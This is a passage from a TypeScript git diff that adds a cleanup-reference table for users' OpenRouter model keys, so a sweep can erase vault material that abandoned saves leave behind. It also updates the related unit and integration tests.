DeleteResult); + w.answer('acct_1', OK); const third = await w.sweep(); - expect({ first, keptAfterFirst, second, third, rows: [...w.table.keys()] }).toEqual({ + expect({ first, keptAfterFirst, second, third, refs: [...w.refTable.keys()] }).toEqual({ first: { scanned: 1, erased: 0, failed: 1 }, keptAfterFirst: ['acct_1'], second: { scanned: 1, erased: 0, failed: 1 }, third: { scanned: 1, erased: 1, failed: 0 }, - rows: [], + refs: [], }); }); - it('given a full first page of rows that keep failing, should still reach and erase the row after them', async () => { - const stuck = Array.from({ length: 200 }, (_, i) => row(`stuck_${String(i).padStart(3, '0')}`, 'tenant_gone', 1_000)); - const w = world({ rows: [...stuck, row('acct_later', 'tenant_1', 2_000)] }); + it('given a full first page of refs that keep failing, should still reach and erase the ref after them', async () => { + const stuck = Array.from({ length: 200 }, (_, i) => ref(`stuck_${String(i).padStart(3, '0')}`, 'tenant_gone', 1_000)); + const w = world({ refs: [...stuck, ref('acct_later', 'tenant_1', 2_000)] }); const result = await w.sweep(); - expect({ result, later: w.table.has('acct_later'), stuckKept: stuck.every((r) => w.table.has(r.id)), pages: w.listed.length }).toEqual({ + expect({ result, later: w.refTable.has('acct_later'), stuckKept: stuck.every((r) => w.refTable.has(r.accountId)), pages: w.listed.length }).toEqual({ result: { scanned: 201, erased: 1, failed: 200 }, later: false, stuckKept: true, @@ -94,31 +112,31 @@ describe('sweepAbandonedModelKeys', () => { }); }); - it('given material the vault no longer holds, should remove the row', async () => { - const w = world({ rows: [row('acct_1')], deleteAnswers: { acct_1: { ok: false, reason: 'not_found' } as DeleteResult } }); - expect([await w.sweep(), [...w.table.keys()]]).toEqual([{ scanned: 1, erased: 1, failed: 0 }, []]); + it('given material the vault no longer holds, should drop the ref', async () => { + const w = world({ refs: [ref('acct_1')], deleteAnswers: { acct_1: { ok: false, reason: 'not_found' } as DeleteResult } }); + expect([await w.sweep(), [...w.refTable.keys()]]).toEqual([{ scanned: 1, erased: 1, failed: 0 }, []]); }); - it('given a tenant the plane cannot resolve, should touch nothing and keep the row for the next run', async () => { - const w = world({ rows: [row('acct_1', 'tenant_gone')] }); - expect([await w.sweep(), w.deleted.length, [...w.table.keys()]]).toEqual([{ scanned: 1, erased: 0, failed: 1 }, 0, ['acct_1']]); + it('given a tenant the plane cannot resolve, should touch nothing and keep the ref for the next run', async () => { + const w = world({ refs: [ref('acct_1', 'tenant_gone')] }); + expect([await w.sweep(), w.deleted.length, [...w.refTable.keys()]]).toEqual([{ scanned: 1, erased: 0, failed: 1 }, 0, ['acct_1']]); }); - it('given the row removal failing after the material was deleted, should count it failed so the next run finishes it', async () => { - const result = await sweepAbandonedModelKeys({ - accounts: { listUnactivated: async ({ after }) => (after === null ? [row('acct_1')] : []), remove: async () => Promise.reject(new Error('db down')) }, - provisioner: { identityOf: async () => ({ identityId: 'identity_tenant_1' }) as never }, - store: { delete: async () => ({ ok: true, removed: true, upstream: 'not_attempted' }) as DeleteResult }, - now: () => NOW, - }); - expect(result).toEqual({ scanned: 1, erased: 0, failed: 1 }); + it('given the account row unreadable, its removal failing, or the ref not clearing, should report it failed for the next run', async () => { + const base = { provisioner: { identityOf: async () => ({ identityId: 'identity_tenant_1' }) as never }, store: { delete: async () => OK }, now: () => NOW }; + const unreadable = await sweepAbandonedModelKeys({ ...base, cleanupRefs: { listDue: onePage([ref('acct_1')]), clear: async () => undefined }, accounts: { find: async () => Promise.reject(new Error('db down')), remove: async () => undefined } }); + const unremovable = await sweepAbandonedModelKeys({ ...base, cleanupRefs: { listDue: onePage([ref('acct_1')]), clear: async () => undefined }, accounts: { find: async () => accountRow('acct_1', 0), remove: async () => Promise.reject(new Error('db down')) } }); + const uncleared = await sweepAbandonedModelKeys({ ...base, cleanupRefs: { listDue: onePage([ref('acct_1')]), clear: async () => Promise.reject(new Error('db down')) }, accounts: { find: async () => null, remove: async () => undefined } }); + const failed = { scanned: 1, erased: 0, failed: 1 }; + expect([unreadable, unremovable, uncleared]).toEqual([failed, failed, failed]); }); it('given the listing failing, should report it and not throw', async () => { const result = await sweepAbandonedModelKeys({ - accounts: { listUnactivated: async () => Promise.reject(new Error('db down')), remove: async () => undefined }, + cleanupRefs: { listDue: async () => Promise.reject(new Error('db down')), clear: async () => undefined }, + accounts: { find: async () => null, remove: async () => undefined }, provisioner: { identityOf: async () => null }, - store: { delete: async () => ({ ok: true, removed: true, upstream: 'not_attempted' }) as DeleteResult }, + store: { delete: async () => OK }, now: () => NOW, }); expect(result).toEqual({ scanned: 0, erased: 0, failed: 1 }); diff --git a/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts b/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts index 01f8b80ce7..7f00e643fa 100644 --- a/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts @@ -62,6 +62,7 @@ import { createGrantGate } from '../../grant-gate-executor'; import { createAgentAccountAuditRepository, type AgentAccountAuditRepository } from '../../audit-repository'; import { createAuditedExecutor } from '../../audit-gate-executor'; import { createAgentAccountRepository } from '../../agent-account-repository'; +import { createModelKeyCleanupRepository } from '../../model-key-cleanup-repository'; import { createAccountFactsRepository } from '../../account-facts-repository'; import { createAccountAuthority, type AccountAuthority } from '../../account-authority-executor'; import { createPlaneClient, type PlaneClient } from '../../plane-client'; @@ -322,7 +323,7 @@ const CONSENT_PAIR = generateKeyPairSync('ed25519'); const CONSENT_KEY = { sign: (message: Uint8Array) => new Uint8Array(nodeSign(null, message, CONSENT_PAIR.privateKey)) }; const authorityOver = (plane: PlaneClient): AccountAuthority => - createAccountAuthority({ accounts: createAgentAccountRepository({ db }), facts: createAccountFactsRepository(), plane, authorityKey: keyring.current, presenterKeyId: PRESENTER, registry: AGENT_ACCOUNT_OPERATIONS, providerOrigins: { google: [...GOOGLE_ORIGINS, new URL(origin).origin + (new URL(origin).port ? '' : ':443')] }, consentKey: CONSENT_KEY, lockAccount: createAccountChangeLock(getAdvisoryLockPool()), hash: sha3, now: () => Date.now() }); + createAccountAuthority({ accounts: createAgentAccountRepository({ db }), facts: createAccountFactsRepository(), plane, authorityKey: keyring.current, presenterKeyId: PRESENTER, registry: AGENT_ACCOUNT_OPERATIONS, providerOrigins: { google: [...GOOGLE_ORIGINS, new URL(origin).origin + (new URL(origin).port ? '' : ':443')] }, consentKey: CONSENT_KEY, lockAccount: createAccountChangeLock(getAdvisoryLockPool()), modelKeyCleanup: createModelKeyCleanupRepository({ db }), hash: sha3, now: () => Date.now() }); const caller = (overrides: Partial[0]['caller']> = {}) => ({ actorUserId: OWNER, @@ -877,7 +878,7 @@ describe.skipIf(!ADMIN_TOKEN)('adversarial: the G2 thin slice end to end (real p if (!created.ok) throw new Error(created.reason); // An authority that wrongly believes VIEWER is a drive admin signs a real consent for them: the plane, which pinned // only the drive's consenters at creation, still refuses it. - const forged = createAccountAuthority({ accounts: createAgentAccountRepository({ db }), facts: { ...createAccountFactsRepository(), driveRole: async () => 'ADMIN' }, plane, authorityKey: keyring.current, presenterKeyId: PRESENTER, registry: AGENT_ACCOUNT_OPERATIONS, providerOrigins: { google: [...GOOGLE_ORIGINS, new URL(origin).origin + (new URL(origin).port ? '' : ':443')] }, consentKey: CONSENT_KEY, lockAccount: createAccountChangeLock(getAdvisoryLockPool()), hash: sha3, now: () => Date.now() }); + const forged = createAccountAuthority({ accounts: createAgentAccountRepository({ db }), facts: { ...createAccountFactsRepository(), driveRole: async () => 'ADMIN' }, plane, authorityKey: keyring.current, presenterKeyId: PRESENTER, registry: AGENT_ACCOUNT_OPERATIONS, providerOrigins: { google: [...GOOGLE_ORIGINS, new URL(origin).origin + (new URL(origin).port ? '' : ':443')] }, consentKey: CONSENT_KEY, lockAccount: createAccountChangeLock(getAdvisoryLockPool()), modelKeyCleanup: createModelKeyCleanupRepository({ db }), hash: sha3, now: () => Date.now() }); const actual = await forged.updateAccount({ actor: credentialActor(VIEWER, null), accountId: created.account.id, edit: { allowedOrigins: [origin], autoApprove: on(10) }, stepUp: STEP_UP }); expect(actual.ok ? 'widened' : actual.reason).toEqual('not_a_consenter'); }, 60_000); diff --git a/packages/lib/src/agent-accounts/__tests__/agent-account-repository.integration.test.ts b/packages/lib/src/agent-accounts/__tests__/agent-account-repository.integration.test.ts index 0c7b8fc529..30c747d10c 100644 --- a/packages/lib/src/agent-accounts/__tests__/agent-account-repository.integration.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/agent-account-repository.integration.test.ts @@ -125,33 +125,6 @@ describe('createAgentAccountRepository — against the real database', () => { expect({ cappedHasIt: capped.includes(modelKey.id), byProvider }).toEqual({ cappedHasIt: false, byProvider: [modelKey.id] }); }); - it('given model-key rows never activated, should list only the active ones older than the cutoff, oldest first', async () => { - const owner = `${RUN}_abandoned`; - await db.insert(users).values({ id: owner, name: 'abandoned', email: `${owner}@example.test` }); - const tenantId = `user:${owner}` as TenantId; - const insertKey = async (ageMs: number) => { - const row = await repo.insert({ draft: { ...draft, providerSlug: 'openrouter-model-key' }, owner: { kind: 'user', userId: owner }, tenantId, approvalPolicy: null }); - await db.update(agentAccounts).set({ createdAt: new Date(Date.now() - ageMs) }).where(eq(agentAccounts.id, row.id)); - return row.id; - }; - const older = await insertKey(3 * 3_600_000); - const old = await insertKey(2 * 3_600_000); - const fresh = await insertKey(60_000); - const activated = await insertKey(3 * 3_600_000); - await repo.setCredentialVersion({ id: activated, version: 1 }); - const revoked = await insertKey(3 * 3_600_000); - await repo.markRevoked({ id: revoked, at: Date.now() }); - const otherProvider = await repo.insert({ draft, owner: { kind: 'user', userId: owner }, tenantId, approvalPolicy: null }); - await db.update(agentAccounts).set({ createdAt: new Date(Date.now() - 3 * 3_600_000) }).where(eq(agentAccounts.id, otherProvider.id)); - const mine = new Set([older, old, fresh, activated, revoked, otherProvider.id]); - const cutoff = Date.now() - 3_600_000; - const listed = (await repo.listUnactivated({ providerSlug: 'openrouter-model-key', createdBefore: cutoff, after: null, limit: 10_000 })).map((row) => row.id).filter((id) => mine.has(id)); - const [olderRow] = await db.select().from(agentAccounts).where(eq(agentAccounts.id, older)); - const pastOlder = (await repo.listUnactivated({ providerSlug: 'openrouter-model-key', createdBefore: cutoff, after: { createdAt: olderRow!.createdAt, id: older }, limit: 10_000 })).map((row) => row.id).filter((id) => mine.has(id)); - await db.delete(users).where(eq(users.id, owner)); - expect({ listed, pastOlder }).toEqual({ listed: [older, old], pastOlder: [old] }); - }); - it('given the owning user deleted, should cascade the accounts away', async () => { const other = `${RUN}_gone`; await db.insert(users).values({ id: other, name: 'gone', email: `${other}@example.test` }); diff --git a/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts b/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts index ecb77e4adf..79adb252fd 100644 --- a/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts @@ -65,6 +65,19 @@ function harness() { let putFailure: 'definite' | 'uncertain' | null = null; const revoked: string[] = []; const deleted: string[] = []; + /** The order of cleanup-ref writes and vault writes. */ + const events: string[] = []; + /** model_key_cleanup_refs, by account id. */ + const cleanupRefs = new Set(); + let cleanupDown = false; + const modelKeyCleanup = { + record: async ({ accountId }: { accountId: string }) => { + if (cleanupDown) throw new Error('db down'); + events.push(`record:${accountId}`); + cleanupRefs.add(accountId); + }, + clear: async (accountId: string) => void cleanupRefs.delete(accountId), + }; const active = () => [...rows.values()].filter((row) => row.status === 'active' && row.credentialVersion > 0).map((row) => row.id); @@ -133,7 +146,8 @@ function harness() { } satisfies Partial; const plane = { - put: async () => { + put: async ({ ref }: { ref: { accountId: string } }) => { + events.push(`put:${ref.accountId}`); const waiting = putGate; putGate = null; if (waiting !== null) await waiting.opened; @@ -179,6 +193,7 @@ function harness() { registry: {} as never, consentKey: null, lockAccount, + modelKeyCleanup, hash: sha3, now: () => clock, }); @@ -189,6 +204,11 @@ function harness() { active, revoked, deleted, + events, + cleanupRefs, + setCleanupDown: (down: boolean) => { + cleanupDown = down; + }, holdNextPut: () => { putGate = gate(); return putGate; @@ -309,41 +329,53 @@ describe('setModelKey / removeModelKey', () => { expect({ saved, active: h.active() }).toEqual({ saved: { ok: false, reason: 'conflict' }, active: [] }); }); - it('given a key OpenRouter rejects that the plane cannot delete right now, should never make it the person\'s key and leave no row behind (the orphan sweep erases its material)', async () => { + it('given a key OpenRouter rejects that the plane cannot delete right now, should never make it the person\'s key, leave no row behind, and keep a cleanup ref for the sweep', async () => { const h = harness(); const first = await h.authority.setModelKey({ actor, apiKey: keyA }); h.setKeyCheckStatus(401); h.setDeleteDown(true); const rejected = await h.authority.setModelKey({ actor, apiKey: keyB }); - expect({ rejected, active: h.active(), rejectedRowKept: h.rows.has('acct_2') }).toEqual({ + expect({ rejected, active: h.active(), rejectedRowKept: h.rows.has('acct_2'), refs: [...h.cleanupRefs] }).toEqual({ rejected: { ok: false, reason: 'key_rejected' }, active: [(first as Extract).account?.id], rejectedRowKept: false, + refs: ['acct_2'], }); }); - it('given an uncertain write to the plane, should delete whatever reached the vault and keep no row', async () => { + it('given an uncertain write to the plane, should delete whatever reached the vault and keep no row and no cleanup ref', async () => { const h = harness(); h.failPuts('uncertain'); const saved = await h.authority.setModelKey({ actor, apiKey: keyA }); - expect({ saved, rows: h.rows.size, deleted: h.deleted }).toEqual({ saved: { ok: false, reason: 'plane_unavailable' }, rows: 0, deleted: ['acct_1'] }); + expect({ saved, rows: h.rows.size, deleted: h.deleted, refs: h.cleanupRefs.size }).toEqual({ saved: { ok: false, reason: 'plane_unavailable' }, rows: 0, deleted: ['acct_1'], refs: 0 }); + }); + + it('given a save, should record its cleanup ref before the vault write and clear it once the write committed', async () => { + const h = harness(); + const saved = await h.authority.setModelKey({ actor, apiKey: keyA }); + expect({ saved: saved.ok, events: h.events, refs: h.cleanupRefs.size }).toEqual({ saved: true, events: ['record:acct_1', 'put:acct_1'], refs: 0 }); }); - it('given an uncertain write the plane cannot delete right now, should keep its inactive row as the reference, and erase it at the next removal', async () => { - // The vault may hold the material with no plane metadata, which the orphan sweep cannot see: the row is what finds it. + it('given a cleanup ref that cannot be recorded, should write nothing to the vault and keep no row', async () => { + const h = harness(); + h.setCleanupDown(true); + const saved = await h.authority.setModelKey({ actor, apiKey: keyA }); + expect({ saved, events: h.events, rows: h.rows.size }).toEqual({ saved: { ok: false, reason: 'plane_unavailable' }, events: [], rows: 0 }); + }); + + it('given an uncertain write the plane cannot delete right now, should remove the row and keep the cleanup ref, recorded before the write, for the sweep', async () => { + // The vault may hold the material with no plane metadata, which the orphan sweep cannot see: the ref, which has no + // foreign key, still finds it after the row (or the person) is gone. const h = harness(); h.failPuts('uncertain'); h.setDeleteDown(true); const saved = await h.authority.setModelKey({ actor, apiKey: keyA }); - const kept = { rows: [...h.rows.keys()], active: h.active(), shown: await h.authority.getModelKey({ actor }) }; - h.setDeleteDown(false); - const removed = await h.authority.removeModelKey({ actor }); - expect({ saved, kept, removed, deleted: h.deleted, live: [...h.rows.values()].filter((row) => row.status === 'active').length }).toEqual({ + expect({ saved, rows: h.rows.size, refs: [...h.cleanupRefs], events: h.events }).toEqual({ saved: { ok: false, reason: 'plane_unavailable' }, - kept: { rows: ['acct_1'], active: [], shown: null }, - removed: { ok: true, account: null }, - deleted: ['acct_1'], - live: 0, + rows: 0, + refs: ['acct_1'], + // Recorded before the write; abandoning re-records it (idempotent), which also covers a write that committed. + events: ['record:acct_1', 'put:acct_1', 'record:acct_1'], }); }); @@ -358,17 +390,6 @@ describe('setModelKey / removeModelKey', () => { }); }); - it('given an uncertain write the plane cannot delete right now, should erase it when the person saves again', async () => { - const h = harness(); - h.failPuts('uncertain'); - h.setDeleteDown(true); - await h.authority.setModelKey({ actor, apiKey: keyA }); - h.failPuts(null); - h.setDeleteDown(false); - const saved = await h.authority.setModelKey({ actor, apiKey: keyB }); - expect({ saved: saved.ok, deleted: h.deleted, active: h.active() }).toEqual({ saved: true, deleted: ['acct_1'], active: ['acct_2'] }); - }); - it('given a previous key the plane cannot revoke, should report the new key stored and the previous one still active, and retire it on the next removal', async () => { const h = harness(); const first = await h.authority.setModelKey({ actor, apiKey: keyA }); @@ -404,7 +425,7 @@ describe('setModelKey / removeModelKey', () => { const uncertain = harness(); uncertain.failPuts('uncertain'); const unsure = await uncertain.authority.setModelKey({ actor, apiKey: keyA }); - expect([refused, definite.rows.size, unsure, uncertain.active()]).toEqual([{ ok: false, reason: 'store_refused' }, 0, { ok: false, reason: 'plane_unavailable' }, []]); + expect([refused, definite.rows.size, definite.cleanupRefs.size, unsure, uncertain.active()]).toEqual([{ ok: false, reason: 'store_refused' }, 0, 0, { ok: false, reason: 'plane_unavailable' }, []]); }); it('given OpenRouter accepting the key at the check, should report it verified', async () => { diff --git a/packages/lib/src/agent-accounts/__tests__/model-key-cleanup-repository.integration.test.ts b/packages/lib/src/agent-accounts/__tests__/model-key-cleanup-repository.integration.test.ts new file mode 100644 index 0000000000..fca2d0954e --- /dev/null +++ b/packages/lib/src/agent-accounts/__tests__/model-key-cleanup-repository.integration.test.ts @@ -0,0 +1,78 @@ +/** + * `model_key_cleanup_refs` against the real database (ADR 0009): the reference outlives the account row and its + * owner (no foreign key), and the sweep's listing pages through it oldest first. + */ +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import { db } from '@pagespace/db/db'; +import { eq, inArray, sql } from '@pagespace/db/operators'; +import { users } from '@pagespace/db/schema/auth'; +import { agentAccounts, type TenantId } from '@pagespace/db/schema/agent-accounts'; +import { modelKeyCleanupRefs } from '@pagespace/db/schema/model-key-history'; +import { requireDb } from '@pagespace/db/test/require-db'; +import type { CanonicalOrigin } from '../canonical-request'; +import { createAgentAccountRepository } from '../agent-account-repository'; +import { createModelKeyCleanupRepository } from '../model-key-cleanup-repository'; + +const RUN = `mkcleanup${Date.now()}`; +const accounts = createAgentAccountRepository({ db }); +const refs = createModelKeyCleanupRepository({ db }); +const recorded: string[] = []; + +beforeAll(async () => { + try { + await db.execute(sql`SELECT 1`); + } catch (error) { + requireDb('model-key-cleanup-repository.integration.test.ts', error); + } +}); + +afterAll(async () => { + if (recorded.length > 0) await db.delete(modelKeyCleanupRefs).where(inArray(modelKeyCleanupRefs.accountId, recorded)); +}); + +async function record(accountId: string, tenantId: string, ageMs: number): Promise { + recorded.push(accountId); + await refs.record({ accountId, tenantId, kind: 'api_key' }); + await db.update(modelKeyCleanupRefs).set({ createdAt: new Date(Date.now() - ageMs) }).where(eq(modelKeyCleanupRefs.accountId, accountId)); +} + +describe('createModelKeyCleanupRepository — against the real database', () => { + it('given the person deleted after the ref was recorded, should keep the ref though their account row cascaded away', async () => { + const userId = `${RUN}_gone`; + await db.insert(users).values({ id: userId, name: 'gone', email: `${userId}@example.test` }); + const tenantId = `user:${userId}` as TenantId; + const row = await accounts.insert({ + draft: { kind: 'api_key', name: 'OpenRouter', allowedOrigins: ['https://openrouter.ai:443' as CanonicalOrigin], acknowledgment: 'dedicated_agent_account', providerSlug: 'openrouter-model-key' }, + owner: { kind: 'user', userId }, + tenantId, + approvalPolicy: null, + }); + await record(row.id, tenantId, 0); + await db.delete(users).where(eq(users.id, userId)); + const accountLeft = await db.select().from(agentAccounts).where(eq(agentAccounts.id, row.id)); + const refLeft = await db.select().from(modelKeyCleanupRefs).where(eq(modelKeyCleanupRefs.accountId, row.id)); + expect({ accountLeft: accountLeft.length, refLeft: refLeft.map((r) => ({ accountId: r.accountId, tenantId: r.tenantId, kind: r.kind })) }).toEqual({ + accountLeft: 0, + refLeft: [{ accountId: row.id, tenantId, kind: 'api_key' }], + }); + }); + + it('given refs of several ages, should list only those due, oldest first, page past a cursor, and clear one', async () => { + const [older, old, fresh] = [`${RUN}_older`, `${RUN}_old`, `${RUN}_fresh`]; + await record(older, 'user:a', 3 * 3_600_000); + await record(old, 'user:b', 2 * 3_600_000); + await record(fresh, 'user:c', 60_000); + await refs.record({ accountId: old, tenantId: 'user:b', kind: 'api_key' }); + const mine = new Set([older, old, fresh]); + const cutoff = Date.now() - 3_600_000; + const due = (await refs.listDue({ createdBefore: cutoff, after: null, limit: 10_000 })).filter((r) => mine.has(r.accountId)); + const pastOlder = (await refs.listDue({ createdBefore: cutoff, after: { createdAt: due[0]!.createdAt, accountId: older }, limit: 10_000 })).filter((r) => mine.has(r.accountId)); + await refs.clear(older); + const afterClear = (await refs.listDue({ createdBefore: cutoff, after: null, limit: 10_000 })).filter((r) => mine.has(r.accountId)); + expect({ due: due.map((r) => r.accountId), pastOlder: pastOlder.map((r) => r.accountId), afterClear: afterClear.map((r) => r.accountId) }).toEqual({ + due: [older, old], + pastOlder: [old], + afterClear: [old], + }); + }); +}); diff --git a/packages/lib/src/agent-accounts/account-authority-executor.ts b/packages/lib/src/agent-accounts/account-authority-executor.ts index 8754af830c..3eca466da5 100644 --- a/packages/lib/src/agent-accounts/account-authority-executor.ts +++ b/packages/lib/src/agent-accounts/account-authority-executor.ts @@ -36,6 +36,7 @@ import type { AccountAccessLevel } from '../permissions/account-permissions'; import type { ApprovalSubject, CanonicalRequestInput, OperationRegistry } from './canonical-request'; import type { AuthorityKey } from './account-authority-key'; import type { AgentAccountRepository } from './agent-account-repository'; +import type { ModelKeyCleanupRepository } from './model-key-cleanup-repository'; import type { AccountFactsRepository } from './account-facts-repository'; import type { PlaneClient } from './plane-client'; import type { PlaneHttpKind, PlanePutBody } from './executor/plane-wire'; @@ -306,6 +307,8 @@ export type AccountAuthorityDeps = { readonly providerOrigins?: Readonly>; /** `fn` gets the lock's loss signal: aborted once exclusion is gone (its connection died), for steps that need it. */ readonly lockAccount: (accountId: string, fn: (lockLost?: AbortSignal) => Promise) => Promise<{ readonly acquired: true; readonly result: T; readonly lockLost?: boolean } | { readonly acquired: false }>; + /** Model-key cleanup refs (ADR 0009): written before a model key's first vault write, cleared once it is known. */ + readonly modelKeyCleanup: Pick; /** SHA3-256. */ readonly hash: HashBytes; /** SHA-256 (an SSH command's body digest); defaults to node:crypto. */ @@ -525,6 +528,8 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth const ref = refOf(row); const done = row.credentialVersion === 0 ? await deps.plane.delete({ ref }) : await deps.plane.revoke({ ref }); if (!done.ok && done.reason !== 'not_found') return false; + // A key a crashed save stranded before activation may still have its cleanup ref: its material is gone now. + if (row.credentialVersion === 0) await deps.modelKeyCleanup.clear(row.id).catch(() => undefined); return (await deps.accounts.markRevoked({ id: row.id, at: deps.now() })) !== null; } @@ -578,17 +583,15 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth /** * A key a save gives up on (it lost its lock, OpenRouter rejected it, or the plane's answer to its write was * uncertain) never becomes the person's key: its material is deleted from the vault and its row removed. If the - * plane cannot delete it now: - * - a write the plane committed (`stored`) has plane metadata, so its row is removed anyway: a ref with no row is - * what the orphan sweep erases, on every pass until it succeeds; - * - a write the plane did not confirm may have left material with no metadata, which the sweep cannot see, so its - * never-activated row stays as the reference to it, and the next save or removal retires it. + * plane cannot delete it now, its cleanup ref (`model_key_cleanup_refs`, no foreign key) stays, re-recorded if the + * write had committed and cleared it: the plane's abandoned-model-key sweep erases the material from that ref, + * whether or not the plane holds metadata for it, and even after the person and their rows are gone. */ - async function abandonModelKey(row: AgentAccountRecord, result: ModelKeyChangeResult, { stored }: { readonly stored: boolean }): Promise { + async function abandonModelKey(row: AgentAccountRecord, result: ModelKeyChangeResult): Promise { const deleted = await deps.plane.delete({ ref: refOf(row) }).catch(() => null); const gone = deleted !== null && (deleted.ok || deleted.reason === 'not_found'); - // Never activated (credentialVersion 0), the kept row runs no call and Settings does not show it. - if (!gone && !stored) return result; + if (gone) await deps.modelKeyCleanup.clear(row.id).catch(() => undefined); + else await deps.modelKeyCleanup.record(refOf(row)).catch(() => undefined); await deps.accounts.remove(row.id); return result; } @@ -609,6 +612,14 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth await deps.accounts.remove(row.id); return { ok: false, reason: 'conflict' }; } + // The cleanup ref goes down BEFORE the vault write and has no foreign key: whatever this write leaves in the vault + // can be found and erased from it, even if the write is never confirmed and the person is deleted meanwhile. + // Without it, nothing is written. + const recorded = await deps.modelKeyCleanup.record(refOf(row)).then(() => true, () => false); + if (!recorded) { + await deps.accounts.remove(row.id); + return { ok: false, reason: 'plane_unavailable' }; + } const { scope, bindings } = planeBindingsFor({ row, boundAgentPageIds: [], hash: deps.hash }); const put = await deps.plane.put({ ref: { tenantId, accountId: row.id, kind: 'api_key' }, @@ -619,15 +630,19 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth }); if (!put.ok) { // Only a definite refusal stored nothing. An uncertain one may have: the key is abandoned, so whatever reached - // the vault is deleted now or by the orphan sweep (its row is gone). + // the vault is deleted now or, from its cleanup ref, by the plane's sweep. const definite = put.reason === 'kind_mismatch' || put.reason === 'consenters_invalid' || put.reason === 'identity_refused' || put.reason === 'version_conflict'; - if (!definite) return abandonModelKey(row, { ok: false, reason: 'plane_unavailable' }, { stored: false }); + if (!definite) return abandonModelKey(row, { ok: false, reason: 'plane_unavailable' }); + await deps.modelKeyCleanup.clear(row.id).catch(() => undefined); await deps.accounts.remove(row.id); return { ok: false, reason: 'store_refused' }; } + // Committed: the plane's own metadata references the material now (its orphan sweep erases it once the row is + // gone), so the cleanup ref is no longer needed. One left behind is dropped by the sweep once the key is active. + await deps.modelKeyCleanup.clear(row.id).catch(() => undefined); // Exclusion is gone (the lock's connection died while the key was being stored): a removal may have run since, so // the key is never activated, and the person saves again. - if (lockLost?.aborted) return abandonModelKey(row, { ok: false, reason: 'conflict' }, { stored: true }); + if (lockLost?.aborted) return abandonModelKey(row, { ok: false, reason: 'conflict' }); await deps.accounts.setCredentialVersion({ id: row.id, version: put.version }); // The person's standing consent for their unattended runs (workflows, crons, agent-to-agent): model calls only, on OpenRouter only. await deps.accounts.insertDelegation({ accountId: row.id, agentPageId: null, delegatedByUserId: userId, scope: MODEL_KEY_SCOPE, expiresAt: deps.now() + MODEL_KEY_DELEGATION_TTL_MS }); @@ -640,11 +655,11 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth if (checked.ok) await checked.response.body?.cancel().catch(() => undefined); if (status === 401 || status === 403) { // A key OpenRouter refused never becomes the person's key: it is abandoned (deleted now, or by the orphan sweep). - return abandonModelKey(stored, { ok: false, reason: 'key_rejected' }, { stored: true }); + return abandonModelKey(stored, { ok: false, reason: 'key_rejected' }); } // Exclusion lost during the check (the key check is a network call): a removal may have run meanwhile, so the new // key does not stay active. It is revoked, and the person saves again. - if (lockLost?.aborted) return abandonModelKey(stored, { ok: false, reason: 'conflict' }, { stored: true }); + if (lockLost?.aborted) return abandonModelKey(stored, { ok: false, reason: 'conflict' }); // A previous key that could not be revoked stays active, so the next save or removal retries it; the result // says so rather than reporting a clean replacement. let allRetired = true; diff --git a/packages/lib/src/agent-accounts/agent-account-repository.ts b/packages/lib/src/agent-accounts/agent-account-repository.ts index 5caba16331..03cdb2d834 100644 --- a/packages/lib/src/agent-accounts/agent-account-repository.ts +++ b/packages/lib/src/agent-accounts/agent-account-repository.ts @@ -15,7 +15,7 @@ * (`__tests__/agent-account-repository.integration.test.ts`). */ import type { db as defaultDb } from '@pagespace/db/db'; -import { and, asc, desc, eq, gt, gte, inArray, isNull, lt, ne, or, sql } from '@pagespace/db/operators'; +import { and, desc, eq, gt, gte, inArray, isNull, ne, sql } from '@pagespace/db/operators'; import { agentAccountApprovals, agentAccountBindings, agentAccountDelegations, agentAccounts, type AccountKind, type AccountId, type AccountOwnerRef, type AgentAccountRecord, type TenantId } from '@pagespace/db/schema/agent-accounts'; import type { AgentPageId, ApprovalId, DelegationFact, DelegationId, GrantId, RequestDigest, UserId } from './grant'; import type { AccountApprovalPolicy, ApprovalScope } from './approval'; @@ -79,16 +79,6 @@ export type AgentAccountRepository = { readonly listForUser: (userId: string) => Promise; /** Every row of one provider this person owns, newest first: a lookup the listing's cap must never hide a row from. */ readonly listForUserWithProvider: (input: { readonly userId: string; readonly providerSlug: string }) => Promise; - /** - * Rows of one provider a save never activated (`active`, credentialVersion 0) and created before `createdBefore`, - * oldest first and after the `after` row (a page cursor), for the plane's sweep: what an abandoned save left behind. - */ - readonly listUnactivated: (input: { - readonly providerSlug: string; - readonly createdBefore: number; - readonly after: { readonly createdAt: Date; readonly id: string } | null; - readonly limit: number; - }) => Promise; readonly listForAgentPage: (agentPageId: string) => Promise; /** * The refresh worker's rotation, mirrored: `from` → `to` only while the row still reads `from` @@ -244,16 +234,6 @@ export function createAgentAccountRepository({ db }: { readonly db: AgentAccount return db.select().from(agentAccounts).where(and(eq(agentAccounts.ownerUserId, userId), eq(agentAccounts.providerSlug, providerSlug))).orderBy(desc(agentAccounts.createdAt)); }, - async listUnactivated({ providerSlug, createdBefore, after, limit }) { - const pastCursor = after === null ? undefined : or(gt(agentAccounts.createdAt, after.createdAt), and(eq(agentAccounts.createdAt, after.createdAt), gt(agentAccounts.id, after.id))); - return db - .select() - .from(agentAccounts) - .where(and(eq(agentAccounts.providerSlug, providerSlug), eq(agentAccounts.status, 'active'), eq(agentAccounts.credentialVersion, 0), lt(agentAccounts.createdAt, new Date(createdBefore)), pastCursor)) - .orderBy(asc(agentAccounts.createdAt), asc(agentAccounts.id)) - .limit(limit); - }, - async listForAgentPage(agentPageId) { return db.select().from(agentAccounts).where(eq(agentAccounts.ownerAgentPageId, agentPageId)).orderBy(desc(agentAccounts.createdAt)).limit(MAX_LISTED_ACCOUNTS); }, diff --git 